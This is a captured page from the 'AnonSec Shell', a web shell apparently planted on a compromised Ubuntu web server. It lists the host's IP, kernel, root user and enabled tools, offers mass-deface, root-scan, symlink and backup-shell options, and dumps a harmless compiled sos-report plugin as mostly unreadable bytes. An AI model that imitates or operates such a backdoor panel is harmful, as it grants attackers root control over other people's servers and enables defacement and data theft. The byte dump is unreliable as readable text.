AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_database.cpython-310.pyc
o

���b�	�@sBddlZddlmZmZmZGdd�de�ZGdd�dee�ZdS)�N)�Plugin�RedHatPlugin�	PluginOptc@sNeZdZdZdZdZedddd�eddd	d�gZgd
�Zdd�Z	ddd�Z
d
S)�OpenStackDatabasezOpenstack Database Information�openstack_database)�	openstack�openstack_controller�dumpFzDump select databases)�default�desc�dumpallzDump ALL databases)�cinder�glance�heat�ironic�keystone�mistralz(.*)?neutronznova.*cCs�ddg}d}|D]}|�|�}|rnq|rd|nd}|jd|d|d�|�d�s/|�d�rD|j|d	�}d
|}|j|dd|d
�dSdS)Nzgalera-bundle-.*�mysqlzclustercheck_%s�clustercheck�)�	container�timeout�suggest_filenamer	r�rzmysqldump --opt %szmysql_dump.sqlr)r�	sizelimitr)�get_container_by_name�add_cmd_output�
get_option�get_mysql_db_string)�self�_db_containers�cnamer�fname�db_dump�db_cmd�r%�G/usr/lib/python3/dist-packages/sos/report/plugins/openstack_database.py�setup's(�
�
�
��zOpenStackDatabase.setupNcsl|�d�rdSg}|jd|d�}|d��D]�t�fdd�|jD��r)|���qdd	�d
d�|D��S)Nrz--all-databaseszmysql -e "show databases;"r�outputcsg|]}t��|��qSr%)�re�match)�.0�reg��dbr%r&�
<listcomp>Hsz9OpenStackDatabase.get_mysql_db_string.<locals>.<listcomp>z-B � css�|]}|VqdS�Nr%)r+�dr%r%r&�	<genexpr>Ks�z8OpenStackDatabase.get_mysql_db_string.<locals>.<genexpr>)r�exec_cmd�
splitlines�any�	databases�append�join)rr�collect�dbsr%r-r&r?s

�z%OpenStackDatabase.get_mysql_db_stringr1)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr�option_listr7r'rr%r%r%r&rs�rc@seZdZdZdS)�RedHatOpenStackDatabase)zopenstack-selinuxN)r<r=r>�packagesr%r%r%r&rCNsrC)r)�sos.report.pluginsrrrrrCr%r%r%r&�<module>s
=

Anon7 - 2022
AnonSec Team